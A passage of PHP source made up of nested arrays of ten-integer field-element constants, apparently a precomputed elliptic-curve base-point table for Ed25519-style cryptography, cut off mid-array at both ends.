                array(2814918, 7836403, 27519878, -7868156, -20894015, -11553689, -21494559, 8550130, 28346258, 1994730),
            ),
            array(
                array(-19578299, 8085545, -14000519, -3948622, 2785838, -16231307, -19516951, 7174894, 22628102, 8115180),
                array(-30405132, 955511, -11133838, -15078069, -32447087, -13278079, -25651578, 3317160, -9943017, 930272),
                array(-15303681, -6833769, 28856490, 1357446, 23421993, 1057177, 24091212, -1388970, -22765376, -10650715),
            ),
            array(
                array(-22751231, -5303997, -12907607, -12768866, -15811511, -7797053, -14839018, -16554220, -1867018, 8398970),
                array(-31969310, 2106403, -4736360, 1362501, 12813763, 16200670, 22981545, -6291273, 18009408, -15772772),
                array(-17220923, -9545221, -27784654, 14166835, 29815394, 7444469, 29551787, -3727419, 19288549, 1325865),
            ),
            array(
                array(15100157, -15835752, -23923978, -1005098, -26450192, 15509408, 12376730, -3479146, 33166107, -8042750),
                array(20909231, 13023121, -9209752, 16251778, -5778415, -8094914, 12412151, 10018715, 2213263, -13878373),
                array(32529814, -11074689, 30361439, -16689753, -9135940, 1513226, 22922121, 6382134, -5766928, 8371348),
            ),
        ),
        array(
            array(
                array(9923462, 11271500, 12616794, 3544722, -29998368, -1721626, 12891687, -8193132, -26442943, 10486144),
                array(-22597207, -7012665, 8587003, -8257861, 4084309, -12970062, 361726, 2610596, -23921530, -11455195),
                array(5408411, -1136691, -4969122, 10561668, 24145918, 14240566, 31319731, -4235541, 19985175, -3436086),
            ),
            array(
                array(-13994457, 16616821, 14549246, 3341099, 32155958, 13648976, -17577068, 8849297, 65030, 8370684),
                array(-8320926, -12049626, 31204563, 5839400, -20627288, -1057277, -19442942, 6922164, 12743482, -9800518),
                array(-2361371, 12678785, 28815050, 4759974, -23893047, 4884717, 23783145, 11038569, 18800704, 255233),
            ),
            array(
                array(-5269658, -1773886, 13957886, 7990715, 23132995, 728773, 13393847, 9066957, 19258688, -14753793),
                array(-2936654, -10827535, -10432089, 14516793, -3640786, 4372541, -31934921, 2209390, -1524053, 2055794),
                array(580882, 16705327, 5468415, -2683018, -30926419, -14696000, -7203346, -8994389, -30021019, 7394435),
            ),
            array(
                array(23838809, 1822728, -15738443, 15242727, 8318092, -3733104, -21672180, -3492205, -4821741, 14799921),
                array(13345610, 9759151, 3371034, -16137791, 16353039, 8577942, 31129804, 13496856, -9056018, 7402518),
                array(2286874, -4435931, -20042458, -2008336, -13696227, 5038122, 11006906, -15760352, 8205061, 1607563),
            ),
            array(
                array(14414086, -8002132, 3331830, -3208217, 22249151, -5594188, 18364661, -2906958, 30019587, -9029278),
                array(-27688051, 1585953, -10775053, 931069, -29120221, -11002319, -14410829, 12029093, 9944378, 8024),
                array(4368715, -3709630, 29874200, -15022983, -20230386, -11410704, -16114594, -999085, -8142388, 5640030),
            ),
            array(
                array(10299610, 13746483, 11661824, 16234854, 7630238, 5998374, 9809887, -16694564, 15219798, -14327783),
                array(27425505, -5719081, 3055006, 10660664, 23458024, 595578, -15398605, -1173195, -18342183, 9742717),
                array(6744077, 2427284, 26042789, 2720740, -847906, 1118974, 32324614, 7406442, 12420155, 1994844),
            ),
            array(
                array(14012521, -5024720, -18384453, -9578469, -26485342, -3936439, -13033478, -10909803, 24319929, -6446333),
                array(16412690, -4507367, 10772641, 15929391, -17068788, -4658621, 10555945, -10484049, -30102368, -4739048),
                array(22397382, -7767684, -9293161, -12792868, 17166287, -9755136, -27333065, 6199366, 21880021, -12250760),
            ),
            array(
                array(-4283307, 5368523, -31117018, 8163389, -30323063, 3209128, 16557151, 8890729, 8840445, 4957760),
                array(-15447727, 709327, -6919446, -10870178, -29777922, 6522332, -21720181, 12130072, -14796503, 5005757),
                array(-2114751, -14308128, 23019042, 15765735, -25269683, 6002752, 10183197, -13239326, -16395286, -2176112),
            ),
        ),
        array(
            array(
                array(-19025756, 1632005, 13466291, -7995100, -23640451, 16573537, -32013908, -3057104, 22208662, 2000468),
                array(3065073, -1412761, -25598674, -361432, -17683065, -5703415, -8164212, 11248527, -3691214, -7414184),
                array(10379208, -6045554, 8877319, 1473647, -29291284, -12507580, 16690915, 2553332, -3132688, 16400289),
            ),
            array(
                array(15716668, 1254266, -18472690, 7446274, -8448918, 6344164, -22097271, -7285580, 26894937, 9132066),
                array(24158887, 12938817, 11085297, -8177598, -28063478, -4457083, -30576463, 64452, -6817084, -2692882),
                array(13488534, 7794716, 22236231, 5989356, 25426474, -12578208, 2350710, -3418511, -4688006, 2364226),
            ),
            array(
                array(16335052, 9132434, 25640582, 6678888, 1725628, 8517937, -11807024, -11697457, 15445875, -7798101),
                array(29004207, -7867081, 28661402, -640412, -12794003, -7943086, 31863255, -4135540, -278050, -15759279),
                array(-6122061, -14866665, -28614905, 14569919, -10857999, -3591829, 10343412, -6976290, -29828287, -10815811),
            ),
            array(
                array(27081650, 3463984, 14099042, -4517604, 1616303, -6205604, 29542636, 15372179, 17293797, 960709),
                array(20263915, 11434237, -5765435, 11236810, 13505955, -10857102, -16111345, 6493122, -19384511, 7639714),
                array(-2830798, -14839232, 25403038, -8215196, -8317012, -16173699, 18006287, -16043750, 29994677, -15808121),
            ),
            array(
                array(9769828, 5202651, -24157398, -13631392, -28051003, -11561624, -24613141, -13860782, -31184575, 709464),
                array(12286395, 13076066, -21775189, -1176622, -25003198, 4057652, -32018128, -8890874, 16102007, 13205847),
                array(13733362, 5599946, 10557076, 3195751, -5557991, 8536970, -25540170, 8525972, 10151379, 10394400),
            ),
            array(
                array(4024660, -16137551, 22436262, 12276534, -9099015, -2686099, 19698229, 11743039, -33302334, 8934414),
                array(-15879800, -4525240, -8580747, -2934061, 14634845, -698278, -9449077, 3137094, -11536886, 11721158),
                array(17555939, -5013938, 8268606, 2331751, -22738815, 9761013, 9319229, 8835153, -9205489, -1280045),
            ),
            array(
                array(-461409, -7830014, 20614118, 16688288, -7514766, -4807119, 22300304, 505429, 6108462, -6183415),
                array(-5070281, 12367917, -30663534, 3234473, 32617080, -8422642, 29880583, -13483331, -26898490, -7867459),
                array(-31975283, 5726539, 26934134, 10237677, -3173717, -605053, 24199304, 3795095, 7592688, -14992079),
            ),
            array(
                array(21594432, -14964228, 17466408, -4077222, 32537084, 2739898, 6407723, 12018833, -28256052, 4298412),
                array(-20650503, -11961496, -27236275, 570498, 3767144, -1717540, 13891942, -1569194, 13717174, 10805743),
                array(-14676630, -15644296, 15287174, 11927123, 24177847, -8175568, -796431, 14860609, -26938930, -5863836),
            ),
        ),
        array(
            array(
                array(12962541, 5311799, -10060768, 11658280, 18855286, -7954201, 13286263, -12808704, -4381056, 9882022),
                array(18512079, 11319350, -20123124, 15090309, 18818594, 5271736, -22727904, 3666879, -23967430, -3299429),
                array(-6789020, -3146043, 16192429, 13241070, 15898607, -14206114, -10084880, -6661110, -2403099, 5276065),
            ),
            array(
                array(30169808, -5317648, 26306206, -11750859, 27814964, 7069267, 7152851, 3684982, 1449224, 13082861),
                array(10342826, 3098505, 2119311, 193222, 25702612, 12233820, 23697382, 15056736, -21016438, -8202000),
                array(-33150110, 3261608, 22745853, 7948688, 19370557, -15177665, -26171976, 6482814, -10300080, -11060101),
            ),
            array(
                array(32869458, -5408545, 25609743, 15678670, -10687769, -15471071, 26112421, 2521008, -22664288, 6904815),
                array(29506923, 4457497, 3377935, -9796444, -30510046, 12935080, 1561737, 3841096, -29003639, -6657642),
                array(10340844, -6630377, -18656632, -2278430, 12621151, -13339055, 30878497, -11824370, -25584551, 5181966),
            ),
            array(
                array(25940115, -12658025, 17324188, -10307374, -8671468, 15029094, 24396252, -16450922, -2322852, -12388574),
                array(-21765684, 9916823, -1300409, 4079498, -1028346, 11909559, 1782390, 12641087, 20603771, -6561742),
                array(-18882287, -11673380, 24849422, 11501709, 13161720, -4768874, 1925523, 11914390, 4662781, 7820689),
            ),
            array(
                array(12241050, -425982, 8132691, 9393934, 32846760, -1599620, 29749456, 12172924, 16136752, 15264020),
                array(-10349955, -14680563, -8211979, 2330220, -17662549, -14545780, 10658213, 6671822, 19012087, 3772772),
                array(3753511, -3421066, 10617074, 2028709, 14841030, -6721664, 28718732, -15762884, 20527771, 12988982),
            ),
            array(
                array(-14822485, -5797269, -3707987, 12689773, -898983, -10914866, -24183046, -10564943, 3299665, -12424953),
                array(-16777703, -15253301, -9642417, 4978983, 3308785, 8755439, 6943197, 6461331, -25583147, 8991218),
                array(-17226263, 1816362, -1673288, -6086439, 31783888, -8175991, -32948145, 7417950, -30242287, 1507265),
            ),
            array(
                array(29692663, 6829891, -10498800, 4334896, 20945975, -11906496, -28887608, 8209391, 14606362, -10647073),
                array(-3481570, 8707081, 32188102, 5672294, 22096700, 1711240, -33020695, 9761487, 4170404, -2085325),
                array(-11587470, 14855945, -4127778, -1531857, -26649089, 15084046, 22186522, 16002000, -14276837, -8400798),
            ),
            array(
                array(-4811456, 13761029, -31703877, -2483919, -3312471, 7869047, -7113572, -9620092, 13240845, 10965870),
                array(-7742563, -8256762, -14768334, -13656260, -23232383, 12387166, 4498947, 14147411, 29514390, 4302863),
                array(-13413405, -12407859, 20757302, -13801832, 14785143, 8976368, -5061276, -2144373, 17846988, -13971927),
            ),
        ),
        array(
            array(
                array(-2244452, -754728, -4597030, -1066309, -6247172, 1455299, -21647728, -9214789, -5222701, 12650267),
                array(-9906797, -16070310, 21134160, 12198166, -27064575, 708126, 387813, 13770293, -19134326, 10958663),
                array(22470984, 12369526, 23446014, -5441109, -21520802, -9698723, -11772496, -11574455, -25083830, 4271862),
            ),
            array(
                array(-25169565, -10053642, -19909332, 15361595, -5984358, 2159192, 75375, -4278529, -32526221, 8469673),
                array(15854970, 4148314, -8893890, 7259002, 11666551, 13824734, -30531198, 2697372, 24154791, -9460943),
                array(15446137, -15806644, 29759747, 14019369, 30811221, -9610191, -31582008, 12840104, 24913809, 9815020),
            ),
            array(
                array(-4709286, -5614269, -31841498, -12288893, -14443537, 10799414, -9103676, 13438769, 18735128, 9466238),
                array(11933045, 9281483, 5081055, -5183824, -2628162, -4905629, -7727821, -10896103, -22728655, 16199064),
                array(14576810, 379472, -26786533, -8317236, -29426508, -10812974, -102766, 1876699, 30801119, 2164795),
            ),
            array(
                array(15995086, 3199873, 13672555, 13712240, -19378835, -4647646, -13081610, -15496269, -13492807, 1268052),
                array(-10290614, -3659039, -3286592, 10948818, 23037027, 3794475, -3470338, -12600221, -17055369, 3565904),
                array(29210088, -9419337, -5919792, -4952785, 10834811, -13327726, -16512102, -10820713, -27162222, -14030531),
            ),
            array(
                array(-13161890, 15508588, 16663704, -8156150, -28349942, 9019123, -29183421, -3769423, 2244111, -14001979),
                array(-5152875, -3800936, -9306475, -6071583, 16243069, 14684434, -25673088, -16180800, 13491506, 4641841),
                array(10813417, 643330, -19188515, -728916, 30292062, -16600078, 27548447, -7721242, 14476989, -12767431),
            ),
            array(
                array(10292079, 9984945, 6481436, 8279905, -7251514, 7032743, 27282937, -1644259, -27912810, 12651324),
                array(-31185513, -813383, 22271204, 11835308, 10201545, 15351028, 17099662, 3988035, 21721536, -3148940),
                array(10202177, -6545839, -31373232, -9574638, -32150642, -8119683, -12906320, 3852694, 13216206, 14842320),
            ),
            array(
                array(-15815640, -10601066, -6538952, -7258995, -6984659, -6581778, -31500847, 13765824, -27434397, 9900184),
                array(14465505, -13833331, -32133984, -14738873, -27443187, 12990492, 33046193, 15796406, -7051866, -8040114),
                array(30924417, -8279620, 6359016, -12816335, 16508377, 9071735, -25488601, 15413635, 9524356, -7018878),
            ),
            array(
                array(12274201, -13175547, 32627641, -1785326, 6736625, 13267305, 5237659, -5109483, 15663516, 4035784),
                array(-2951309, 8903985, 17349946, 601635, -16432815, -4612556, -13732739, -15889334, -22258478, 4659091),
                array(-16916263, -4952973, -30393711, -15158821, 20774812, 15897498, 5736189, 15026997, -2178256, -13455585),
            ),
        ),
        array(
            array(
                array(-8858980, -2219056, 28571666, -10155518, -474467, -10105698, -3801496, 278095, 23440562, -290208),
                array(10226241, -5928702, 15139956, 120818, -14867693, 5218603, 32937275, 11551483, -16571960, -7442864),
                array(17932739, -12437276, -24039557, 10749060, 11316803, 7535897, 22503767, 5561594, -3646624, 3898661),
            ),
            array(
                array(7749907, -969567, -16339731, -16464, -25018111, 15122143, -1573531, 7152530, 21831162, 1245233),
                array(26958459, -14658026, 4314586, 8346991, -5677764, 11960072, -32589295, -620035, -30402091, -16716212),
                array(-12165896, 9166947, 33491384, 13673479, 29787085, 13096535, 6280834, 14587357, -22338025, 13987525),
            ),
            array(
                array(-24349909, 7778775, 21116000, 15572597, -4833266, -5357778, -4300898, -5124639, -7469781, -2858068),
                array(9681908, -6737123, -31951644, 13591838, -6883821, 386950, 31622781, 6439245, -14581012, 4091397),
                array(-8426427, 1470727, -28109679, -1596990, 3978627, -5123623, -19622683, 12092163, 29077877, -14741988),
            ),
            array(
                array(5269168, -6859726, -13230211, -8020715, 25932563, 1763552, -5606110, -5505881, -20017847, 2357889),
                array(32264008, -15407652, -5387735, -1160093, -2091322, -3946900, 23104804, -12869908, 5727338, 189038),
                array(14609123, -8954470, -6000566, -16622781, -14577387, -7743898, -26745169, 10942115, -25888931, -14884697),
            ),
            array(
                array(20513500, 5557931, -15604613, 7829531, 26413943, -2019404, -21378968, 7471781, 13913677, -5137875),
                array(-25574376, 11967826, 29233242, 12948236, -6754465, 4713227, -8940970, 14059180, 12878652, 8511905),
                array(-25656801, 3393631, -2955415, -7075526, -2250709, 9366908, -30223418, 6812974, 5568676, -3127656),
            ),
            array(
                array(11630004, 12144454, 2116339, 13606037, 27378885, 15676917, -17408753, -13504373, -14395196, 8070818),
                array(27117696, -10007378, -31282771, -5570088, 1127282, 12772488, -29845906, 10483306, -11552749, -1028714),
                array(10637467, -5688064, 5674781, 1072708, -26343588, -6982302, -1683975, 9177853, -27493162, 15431203),
            ),
            array(
                array(20525145, 10892566, -12742472, 12779443, -29493034, 16150075, -28240519, 14943142, -15056790, -7935931),
                array(-30024462, 5626926, -551567, -9981087, 753598, 11981191, 25244767, -3239766, -3356550, 9594024),
                array(-23752644, 2636870, -5163910, -10103818, 585134, 7877383, 11345683, -6492290, 13352335, -10977084),
            ),
            array(
                array(-1931799, -5407458, 3304649, -12884869, 17015806, -4877091, -29783850, -7752482, -13215537, -319204),
                array(20239939, 6607058, 6203985, 3483793, -18386976, -779229, -20723742, 15077870, -22750759, 14523817),
                array(27406042, -6041657, 27423596, -4497394, 4996214, 10002360, -28842031, -4545494, -30172742, -4805667),
            ),
        ),
        array(
            array(
                array(11374242, 12660715, 17861383, -12540833, 10935568, 1099227, -13886076, -9091740, -27727044, 11358504),
                array(-12730809, 10311867, 1510375, 10778093, -2119455, -9145702, 32676003, 11149336, -26123651, 4985768),
                array(-19096303, 341147, -6197485, -239033, 15756973, -8796662, -983043, 13794114, -19414307, -15621255),
            ),
            array(
                array(6490081, 11940286, 25495923, -7726360, 8668373, -8751316, 3367603, 6970005, -1691065, -9004790),
                array(1656497, 13457317, 15370807, 6364910, 13605745, 8362338, -19174622, -5475723, -16796596, -5031438),
                array(-22273315, -13524424, -64685, -4334223, -18605636, -10921968, -20571065, -7007978, -99853, -10237333),
            ),
            array(
                array(17747465, 10039260, 19368299, -4050591, -20630635, -16041286, 31992683, -15857976, -29260363, -5511971),
                array(31932027, -4986141, -19612382, 16366580, 22023614, 88450, 11371999, -3744247, 4882242, -10626905),
                array(29796507, 37186, 19818052, 10115756, -11829032, 3352736, 18551198, 3272828, -5190932, -4162409),
            ),
            array(
                array(12501286, 4044383, -8612957, -13392385, -32430052, 5136599, -19230378, -3529697, 330070, -3659409),
                array(6384877, 2899513, 17807477, 7663917, -2358888, 12363165, 25366522, -8573892, -271295, 12071499),
                array(-8365515, -4042521, 25133448, -4517355, -6211027, 2265927, -32769618, 1936675, -5159697, 3829363),
            ),
            array(
                array(28425966, -5835433, -577090, -4697198, -14217555, 6870930, 7921550, -6567787, 26333140, 14267664),
                array(-11067219, 11871231, 27385719, -10559544, -4585914, -11189312, 10004786, -8709488, -21761224, 8930324),
                array(-21197785, -16396035, 25654216, -1725397, 12282012, 11008919, 1541940, 4757911, -26491501, -16408940),
            ),
            array(
                array(13537262, -7759490, -20604840, 10961927, -5922820, -13218065, -13156584, 6217254, -15943699, 13814990),
                array(-17422573, 15157790, 18705543, 29619, 24409717, -260476, 27361681, 9257833, -1956526, -1776914),
                array(-25045300, -10191966, 15366585, 15166509, -13105086, 8423556, -29171540, 12361135, -18685978, 4578290),
            ),
            array(
                array(24579768, 3711570, 1342322, -11180126, -27005135, 14124956, -22544529, 14074919, 21964432, 8235257),
                array(-6528613, -2411497, 9442966, -5925588, 12025640, -1487420, -2981514, -1669206, 13006806, 2355433),
                array(-16304899, -13605259, -6632427, -5142349, 16974359, -10911083, 27202044, 1719366, 1141648, -12796236),
            ),
            array(
                array(-12863944, -13219986, -8318266, -11018091, -6810145, -4843894, 13475066, -3133972, 32674895, 13715045),
                array(11423335, -5468059, 32344216, 8962751, 24989809, 9241752, -13265253, 16086212, -28740881, -15642093),
                array(-1409668, 12530728, -6368726, 10847387, 19531186, -14132160, -11709148, 7791794, -27245943, 4383347),
            ),
        ),
        array(
            array(
                array(-28970898, 5271447, -1266009, -9736989, -12455236, 16732599, -4862407, -4906449, 27193557, 6245191),
                array(-15193956, 5362278, -1783893, 2695834, 4960227, 12840725, 23061898, 3260492, 22510453, 8577507),
                array(-12632451, 11257346, -32692994, 13548177, -721004, 10879011, 31168030, 13952092, -29571492, -3635906),
            ),
            array(
                array(3877321, -9572739, 32416692, 5405324, -11004407, -13656635, 3759769, 11935320, 5611860, 8164018),
                array(-16275802, 14667797, 15906460, 12155291, -22111149, -9039718, 32003002, -8832289, 5773085, -8422109),
                array(-23788118, -8254300, 1950875, 8937633, 18686727, 16459170, -905725, 12376320, 31632953, 190926),
            ),
            array(
                array(-24593607, -16138885, -8423991, 13378746, 14162407, 6901328, -8288749, 4508564, -25341555, -3627528),
                array(8884438, -5884009, 6023974, 10104341, -6881569, -4941533, 18722941, -14786005, -1672488, 827625),
                array(-32720583, -16289296, -32503547, 7101210, 13354605, 2659080, -1800575, -14108036, -24878478, 1541286),
            ),
            array(
                array(2901347, -1117687, 3880376, -10059388, -17620940, -3612781, -21802117, -3567481, 20456845, -1885033),
                array(27019610, 12299467, -13658288, -1603234, -12861660, -4861471, -19540150, -5016058, 29439641, 15138866),
                array(21536104, -6626420, -32447818, -10690208, -22408077, 5175814, -5420040, -16361163, 7779328, 109896),
            ),
            array(
                array(30279744, 14648750, -8044871, 6425558, 13639621, -743509, 28698390, 12180118, 23177719, -554075),
                array(26572847, 3405927, -31701700, 12890905, -19265668, 5335866, -6493768, 2378492, 4439158, -13279347),
                array(-22716706, 3489070, -9225266, -332753, 18875722, -1140095, 14819434, -12731527, -17717757, -5461437),
            ),
            array(
                array(-5056483, 16566551, 15953661, 3767752, -10436499, 15627060, -820954, 2177225, 8550082, -15114165),
                array(-18473302, 16596775, -381660, 15663611, 22860960, 15585581, -27844109, -3582739, -23260460, -8428588),
                array(-32480551, 15707275, -8205912, -5652081, 29464558, 2713815, -22725137, 15860482, -21902570, 1494193),
            ),
            array(
                array(-19562091, -14087393, -25583872, -9299552, 13127842, 759709, 21923482, 16529112, 8742704, 12967017),
                array(-28464899, 1553205, 32536856, -10473729, -24691605, -406174, -8914625, -2933896, -29903758, 15553883),
                array(21877909, 3230008, 9881174, 10539357, -4797115, 2841332, 11543572, 14513274, 19375923, -12647961),
            ),
            array(
                array(8832269, -14495485, 13253511, 5137575, 5037871, 4078777, 24880818, -6222716, 2862653, 9455043),
                array(29306751, 5123106, 20245049, -14149889, 9592566, 8447059, -2077124, -2990080, 15511449, 4789663),
                array(-20679756, 7004547, 8824831, -9434977, -4045704, -3750736, -5754762, 108893, 23513200, 16652362),
            ),
        ),
        array(
            array(
                array(-33256173, 4144782, -4476029, -6579123, 10770039, -7155542, -6650416, -12936300, -18319198, 10212860),
                array(2756081, 8598110, 7383731, -6859892, 22312759, -1105012, 21179801, 2600940, -9988298, -12506466),
                array(-24645692, 13317462, -30449259, -15653928, 21365574, -10869657, 11344424, 864440, -2499677, -16710063),
            ),
            array(
                array(-26432803, 6148329, -17184412, -14474154, 18782929, -275997, -22561534, 211300, 2719757, 4940997),
                array(-1323882, 3911313, -6948744, 14759765, -30027150, 7851207, 21690126, 8518463, 26699843, 5276295),
                array(-13149873, -6429067, 9396249, 365013, 24703301, -10488939, 1321586, 149635, -15452774, 7159369),
            ),
            array(
                array(9987780, -3404759, 17507962, 9505530, 9731535, -2165514, 22356009, 8312176, 22477218, -8403385),
                array(18155857, -16504990, 19744716, 9006923, 15154154, -10538976, 24256460, -4864995, -22548173, 9334109),
                array(2986088, -4911893, 10776628, -3473844, 10620590, -7083203, -21413845, 14253545, -22587149, 536906),
            ),
            array(
                array(4377756, 8115836, 24567078, 15495314, 11625074, 13064599, 7390551, 10589625, 10838060, -15420424),
                array(-19342404, 867880, 9277171, -3218459, -14431572, -1986443, 19295826, -15796950, 6378260, 699185),
                array(7895026, 4057113, -7081772, -13077756, -17886831, -323126, -716039, 15693155, -5045064, -13373962),
            ),
            array(
                array(-7737563, -5869402, -14566319, -7406919, 11385654, 13201616, 31730678, -10962840, -3918636, -9669325),
                array(10188286, -15770834, -7336361, 13427543, 22223443, 14896287, 30743455, 7116568, -21786507, 5427593),
                array(696102, 13206899, 27047647, -10632082, 15285305, -9853179, 10798490, -4578720, 19236243, 12477404),
            ),
            array(
                array(-11229439, 11243796, -17054270, -8040865, -788228, -8167967, -3897669, 11180504, -23169516, 7733644),
                array(17800790, -14036179, -27000429, -11766671, 23887827, 3149671, 23466177, -10538171, 10322027, 15313801),
                array(26246234, 11968874, 32263343, -5468728, 6830755, -13323031, -15794704, -101982, -24449242, 10890804),
            ),
            array(
                array(-31365647, 10271363, -12660625, -6267268, 16690207, -13062544, -14982212, 16484931, 25180797, -5334884),
                array(-586574, 10376444, -32586414, -11286356, 19801893, 10997610, 2276632, 9482883, 316878, 13820577),
                array(-9882808, -4510367, -2115506, 16457136, -11100081, 11674996, 30756178, -7515054, 30696930, -3712849),
            ),
            array(
                array(32988917, -9603412, 12499366, 7910787, -10617257, -11931514, -7342816, -9985397, -32349517, 7392473),
                array(-8855661, 15927861, 9866406, -3649411, -2396914, -16655781, -30409476, -9134995, 25112947, -2926644),
                array(-2504044, -436966, 25621774, -5678772, 15085042, -5479877, -24884878, -13526194, 5537438, -13914319),
            ),
        ),
        array(
            array(
                array(-11225584, 2320285, -9584280, 10149187, -33444663, 5808648, -14876251, -1729667, 31234590, 6090599),
                array(-9633316, 116426, 26083934, 2897444, -6364437, -2688086, 609721, 15878753, -6970405, -9034768),
                array(-27757857, 247744, -15194774, -9002551, 23288161, -10011936, -23869595, 6503646, 20650474, 1804084),
            ),
            array(
                array(-27589786, 15456424, 8972517, 8469608, 15640622, 4439847, 3121995, -10329713, 27842616, -202328),
                array(-15306973, 2839644, 22530074, 10026331, 4602058, 5048462, 28248656, 5031932, -11375082, 12714369),
                array(20807691, -7270825, 29286141, 11421711, -27876523, -13868230, -21227475, 1035546, -19733229, 12796920),
            ),
            array(
                array(12076899, -14301286, -8785001, -11848922, -25012791, 16400684, -17591495, -12899438, 3480665, -15182815),
                array(-32361549, 5457597, 28548107, 7833186, 7303070, -11953545, -24363064, -15921875, -33374054, 2771025),
                array(-21389266, 421932, 26597266, 6860826, 22486084, -6737172, -17137485, -4210226, -24552282, 15673397),
            ),
            array(
                array(-20184622, 2338216, 19788685, -9620956, -4001265, -8740893, -20271184, 4733254, 3727144, -12934448),
                array(6120119, 814863, -11794402, -622716, 6812205, -15747771, 2019594, 7975683, 31123697, -10958981),
                array(30069250, -11435332, 30434654, 2958439, 18399564, -976289, 12296869, 9204260, -16432438, 9648165),
            ),
            array(
                array(32705432, -1550977, 30705658, 7451065, -11805606, 9631813, 3305266, 5248604, -26008332, -11377501),
                array(17219865, 2375039, -31570947, -5575615, -19459679, 9219903, 294711, 15298639, 2662509, -16297073),
                array(-1172927, -7558695, -4366770, -4287744, -21346413, -8434326, 32087529, -1222777, 32247248, -14389861),
            ),
            array(
                array(14312628, 1221556, 17395390, -8700143, -4945741, -8684635, -28197744, -9637817, -16027623, -13378845),
                array(-1428825, -9678990, -9235681, 6549687, -7383069, -468664, 23046502, 9803137, 17597934, 2346211),
                array(18510800, 15337574, 26171504, 981392, -22241552, 7827556, -23491134, -11323352, 3059833, -11782870),
            ),
            array(
                array(10141598, 6082907, 17829293, -1947643, 9830092, 13613136, -25556636, -5544586, -33502212, 3592096),
                array(33114168, -15889352, -26525686, -13343397, 33076705, 8716171, 1151462, 1521897, -982665, -6837803),
                array(-32939165, -4255815, 23947181, -324178, -33072974, -12305637, -16637686, 3891704, 26353178, 693168),
            ),
            array(
                array(30374239, 1595580, -16884039, 13186931, 4600344, 406904, 9585294, -400668, 31375464, 14369965),
                array(-14370654, -7772529, 1510301, 6434173, -18784789, -6262728, 32732230, -13108839, 17901441, 16011505),
                array(18171223, -11934626, -12500402, 15197122, -11038147, -15230035, -19172240, -16046376, 8764035, 12309598),
            ),
        ),
        array(
            array(
                array(5975908, -5243188, -19459362, -9681747, -11541277, 14015782, -23665757, 1228319, 17544096, -10593782),
                array(5811932, -1715293, 3442887, -2269310, -18367348, -8359541, -18044043, -15410127, -5565381, 12348900),
                array(-31399660, 11407555, 25755363, 6891399, -3256938, 14872274, -24849353, 8141295, -10632534, -585479),
            ),
            array(
                array(-12675304, 694026, -5076145, 13300344, 14015258, -14451394, -9698672, -11329050, 30944593, 1130208),
                array(8247766, -6710942, -26562381, -7709309, -14401939, -14648910, 4652152, 2488540, 23550156, -271232),
                array(17294316, -3788438, 7026748, 15626851, 22990044, 113481, 2267737, -5908146, -408818, -137719),
            ),
            array(
                array(16091085, -16253926, 18599252, 7340678, 2137637, -1221657, -3364161, 14550936, 3260525, -7166271),
                array(-4910104, -13332887, 18550887, 10864893, -16459325, -7291596, -23028869, -13204905, -12748722, 2701326),
                array(-8574695, 16099415, 4629974, -16340524, -20786213, -6005432, -10018363, 9276971, 11329923, 1862132),
            ),
            array(
                array(14763076, -15903608, -30918270, 3689867, 3511892, 10313526, -21951088, 12219231, -9037963, -940300),
                array(8894987, -3446094, 6150753, 3013931, 301220, 15693451, -31981216, -2909717, -15438168, 11595570),
                array(15214962, 3537601, -26238722, -14058872, 4418657, -15230761, 13947276, 10730794, -13489462, -4363670),
            ),
            array(
                array(-2538306, 7682793, 32759013, 263109, -29984731, -7955452, -22332124, -10188635, 977108, 699994),
                array(-12466472, 4195084, -9211532, 550904, -15565337, 12917920, 19118110, -439841, -30534533, -14337913),
                array(31788461, -14507657, 4799989, 7372237, 8808585, -14747943, 9408237, -10051775, 12493932, -5409317),
            ),
            array(
                array(-25680606, 5260744, -19235809, -6284470, -3695942, 16566087, 27218280, 2607121, 29375955, 6024730),
                array(842132, -2794693, -4763381, -8722815, 26332018, -12405641, 11831880, 6985184, -9940361, 2854096),
                array(-4847262, -7969331, 2516242, -5847713, 9695691, -7221186, 16512645, 960770, 12121869, 16648078),
            ),
            array(
                array(-15218652, 14667096, -13336229, 2013717, 30598287, -464137, -31504922, -7882064, 20237806, 2838411),
                array(-19288047, 4453152, 15298546, -16178388, 22115043, -15972604, 12544294, -13470457, 1068881, -12499905),
                array(-9558883, -16518835, 33238498, 13506958, 30505848, -1114596, -8486907, -2630053, 12521378, 4845654),
            ),
            array(
                array(-28198521, 10744108, -2958380, 10199664, 7759311, -13088600, 3409348, -873400, -6482306, -12885870),
                array(-23561822, 6230156, -20382013, 10655314, -24040585, -11621172, 10477734, -1240216, -3113227, 13974498),
                array(12966261, 15550616, -32038948, -1615346, 21025980, -629444, 5642325, 7188737, 18895762, 12629579),
            ),
        ),
        array(
            array(
                array(14741879, -14946887, 22177208, -11721237, 1279741, 8058600, 11758140, 789443, 32195181, 3895677),
                array(10758205, 15755439, -4509950, 9243698, -4879422, 6879879, -2204575, -3566119, -8982069, 4429647),
                array(-2453894, 15725973, -20436342, -10410672, -5803908, -11040220, -7135870, -11642895, 18047436, -15281743),
            ),
            array(
                array(-25173001, -11307165, 29759956, 11776784, -22262383, -15820455, 10993114, -12850837, -17620701, -9408468),
                array(21987233, 700364, -24505048, 14972008, -7774265, -5718395, 32155026, 2581431, -29958985, 8773375),
                array(-25568350, 454463, -13211935, 16126715, 25240068, 8594567, 20656846, 12017935, -7874389, -13920155),
            ),
            array(
                array(6028182, 6263078, -31011806, -11301710, -818919, 2461772, -31841174, -5468042, -1721788, -2776725),
                array(-12278994, 16624277, 987579, -5922598, 32908203, 1248608, 7719845, -4166698, 28408820, 6816612),
                array(-10358094, -8237829, 19549651, -12169222, 22082623, 16147817, 20613181, 13982702, -10339570, 5067943),
            ),
            array(
                array(-30505967, -3821767, 12074681, 13582412, -19877972, 2443951, -19719286, 12746132, 5331210, -10105944),
                array(30528811, 3601899, -1957090, 4619785, -27361822, -15436388, 24180793, -12570394, 27679908, -1648928),
                array(9402404, -13957065, 32834043, 10838634, -26580150, -13237195, 26653274, -8685565, 22611444, -12715406),
            ),
            array(
                array(22190590, 1118029, 22736441, 15130463, -30460692, -5991321, 19189625, -4648942, 4854859, 6622139),
                array(-8310738, -2953450, -8262579, -3388049, -10401731, -271929, 13424426, -3567227, 26404409, 13001963),
                array(-31241838, -15415700, -2994250, 8939346, 11562230, -12840670, -26064365, -11621720, -15405155, 11020693),
            ),
            array(
                array(1866042, -7949489, -7898649, -10301010, 12483315, 13477547, 3175636, -12424163, 28761762, 1406734),
                array(-448555, -1777666, 13018551, 3194501, -9580420, -11161737, 24760585, -4347088, 25577411, -13378680),
